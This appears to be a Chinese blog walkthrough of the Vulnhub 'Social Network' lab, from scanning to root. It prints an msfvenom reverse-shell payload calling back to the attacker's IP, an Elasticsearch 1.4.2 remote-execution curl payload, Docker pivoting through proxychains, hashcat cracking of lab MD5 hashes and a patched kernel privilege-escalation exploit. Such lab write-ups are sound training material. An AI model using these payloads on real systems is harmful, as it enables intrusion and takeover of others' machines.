Vulnhub | Social Network 渗透靶机

 

环境：

• 靶机：Medium_socnet
• 攻击机：Parrot 192.168.123.233
• 网段：192.168.123.0/24

 

靶机简介

Leave a message is a new anonymous social networking site where users can post messages for each other. They’ve assigned you to test their set up. They do utilize docker containers. You can conduct attacks against those too. Try to see if you can get root on the host though.

Difficulty: Med

Tasks involved:

• port scanning
• webapp attacks
• code injection
• pivoting
• exploitation
• password cracking
• brute forcing

 

信息收集

首先先找到局域网中靶机的IP

sudo nmap -sn 192.168.123.0/24

得出靶机IP：192.168.123.183

端口扫描

sudo nmap -sS -Pn -p- 192.168.123.183

通过扫描得出靶机开放了22、5000端口，5000端口是一个Python的http服务

 

访问Web

访问一下Web，应该就是靶机作者提到的留言板，看一下Wapplyzer识别网站是基于Flask使用Python2.7 开发的

一开始以为是SSTI(模板注入)，就输入了{{2*2}}发现不生效，方向错了，于是扫了扫目录

扫出admin，访问看看

简介表示后端会使用exec()函数执行我们提交的python代码，借助盲注的思路，睡眠3秒试试

成功执行，确定漏洞存在

 

反弹Shell

既然能执行Python代码，那就使用msfvenom生成python木马，反弹shell

启动MSF，设置Payload监听，再把生成的木马放到web提交

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.123.233 LPORT=4444

成功反弹shell，这里有个问题就是第一次反弹可能等很久都不弹meterpreter，只要把session都K掉，重新监听，木马会自动重连(也可能是我网络问题)

进入shell看看，是一个docker容器

难道要docker逃逸？回头看了看靶机作者的提示，有一个pivoting跳板攻击，应该是以这台机器当跳板

 

docker1

自动路由

接下来就是设置自动路由，扫描一下这个docker的局域网环境，先看看docker1的网络信息

然后使用msf的autoroute模块自动路由

run autoroute -s 172.17.0.0/16    # 添加路由
run autoroute -p    # 查看路由

成功添加，然后配置socks服务，我这里使用sock4a，我这里socks5代理不了

接着配置proxychains配置文件，/etc/proxychains.conf文件末添加一行

socks4 192.168.123.233 1080

接下来就可以使用proxychains代理各种工具进入docker1的172.17网段

这里可以使用proxychains代理nmap工具去尝试靶机局域网信息，但是，proxychains不代理UDP，ICMP，SYN网络协议，无法进行系统探测，主机发现等等，但是可以用-sT参数并结合-Pn进行TCP端口扫描

内网扫描

至于如何扫描172网段的信息，可以将nmap上传到靶机，文件GitHub上有，就在docker1本地扫描，这样就快稳很多了，记得要添加nmap执行权限

扫描结果

找到三个机器：0.1、0.2、0.3(docker1)，把另外两个机器扫扫端口

172.17.0.1

这个开放22端口，应该就是宿主机了

172.17.0.2，这个我尝试在靶机使用proxychains代理nmap扫描端口

proxychains nmap -sT -Pn -p- 172.17.0.2

开放9200和9300端口，通过搜索发现9200和9300端口是ElasticSearch的服务端口，是一个基于Lucene的搜索服务器，使用Java语言开发的

查找服务漏洞

通过浏览器访问172.17.0.2:9200，记得使用proxychain代理整个浏览器，找到版本号1.4.2

随后通过exploit-db搜索发现该版本的服务有远程命令漏洞，再通过searchsploit搜索Exploit

通过MSF搜索EXP

确定漏洞

到此整一个网络拓扑如下

漏洞利用失败

找到36337.py文件，尝试利用，发现失败

随后我又通过MSF的exp进行利用，均已失败告终，于是又手动提交payload发现还是不行，于是就开始寻找原因

找到原因

终于在Github找到失败原因，原因是服务里面没有数据，所以不能通过search来搜索进而执行命令，问题找到，尝试随便插入一条数据

proxychains curl -XPOST 'http://172.17.0.2:9200/twitter/user/yren' -d '{ "name" : "Wu" }'

再次执行Payload

proxychains curl -XPOST 'http://172.17.0.2:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'

成功执行

再次使用36337.py，还是失败呢，于是看了一下源码，是用python2写的，修改了一下代码，添加一个插入数据的函数

代理运行即可

 

docker2

发现一个passwords文件

内容如下：

Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
Example: 1234abcd
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b

Hashcat破解

看样子是提示我们使用hashcat破解hash值，Format就是模板，使用hashcat的掩码攻击，OK，先把hash提取出来，保存为一个文件，一起破解，不熟悉hashcat可以看一下前辈写的文章

hashcat -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force

-m 0 指哈希类型是md5 ， -a 3 指掩码攻击，根据提示，前四位为数字，后四位为小写字母，?d代表数字，?l代表小写字母

很快就破解出来了

这个用户名密码估计是用于宿主机SSH登录

尝试登录发现只有john这个用户可以登陆上去

 

宿主机

接下来到处看看，发现没有什么东西，看了一下passwd文件，发现除了john用户，passwords文件中提到的用户一个都没有，emm，想了一下，应该是要直接提权了

提权

通过以下任意一条命令查看有没有可以SUID提权的命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

发现并没有熟悉的vim、find等等之类的，再来看看sudo

哦嚯，连sudo权限都没有，最后看看Linux内核版本，系统版本有没有什么提权漏洞

uname -a
cat /etc/version
lsb_release -a

通过以上命令收集到系统版本信息

• Linux 3.13.0-24-generic x86_64 内核2014发布的
• Ubuntu 14.0.4 LTS

通过以上信息使用searchsploit看看有没有提权EXP

searchsploit linux 3.13.0 ubuntu priv

找到一个

二话不说丢到宿主机上编译，惊喜的发现木有gcc，OK，那我在线安装行不行？对不起你没有权限，那我离线安装行不行？对不起你没有rpm命令你需要安装，与需要一份工作来获得工作经验有异曲同工之妙。

然后搜索发现可以尝试在本地编译之后再上传上去，随后我就用VPS Pull了一个Ubuntu14.04的镜像，把exp源码上传上去编译，再丢回靶机运行发现

编译之后运行还需要编译，认真看一下回显信息，发现除了gcc报错，之前的动作都是正常执行的，然后看一下源码

发现在143行执行了一条命令用来编译生成ofs-lib.so文件

错误就出现在这里，然后往上看，找找这个ofs-lib.c的文件内容是什么

就在编译命令的上两行找到，这个文件写入LIB变量的内容，最终找到这个LIB是常量

再根据尝试提权反馈的信息与源码进行对比分析，基本可以肯定再执行gcc编译之前的代码都是正常执行的，那么就是说只要解决了这个ofs-lib.so文件就有很大概率能成功提权，我有两个思路

思路一

修改EXP代码，把main函数中的if判断注释掉，因为我用于编译的docker镜像内核与靶机内核不一样，会出错

把133-136行的代码注释掉

保存，重新编译、运行，在/tmp目录下找到ofs-lib.so文件，再次修改，取消刚刚的注释，注释143-147行gcc编码以及判断代码

重新编译，生成我们最终的EXP，把osf-lib.so文件与最终的EXP上传到靶机的/tmp目录下，赋权限，执行EXP

成功提权

思路二

把LIB的内容复制出来，写入文件，用EXP的里面的gcc编译命令编译出ofs-lib.so，注释原EXP gcc编译那行代码，编译最终EXP，与.so文件一同上传到靶机/tmp目录，赋权限执行即可。

 

总结

做这个靶机我遇到两个坑，一就是searchsploit中原本没有数据，不满足漏洞利用条件，不能盲目的使用EXP；二就是提权时候。整个靶机下来最大感受就是要善于利用搜索引擎以及Github，几乎每次遇到问题上Github都会有意想不到的收获。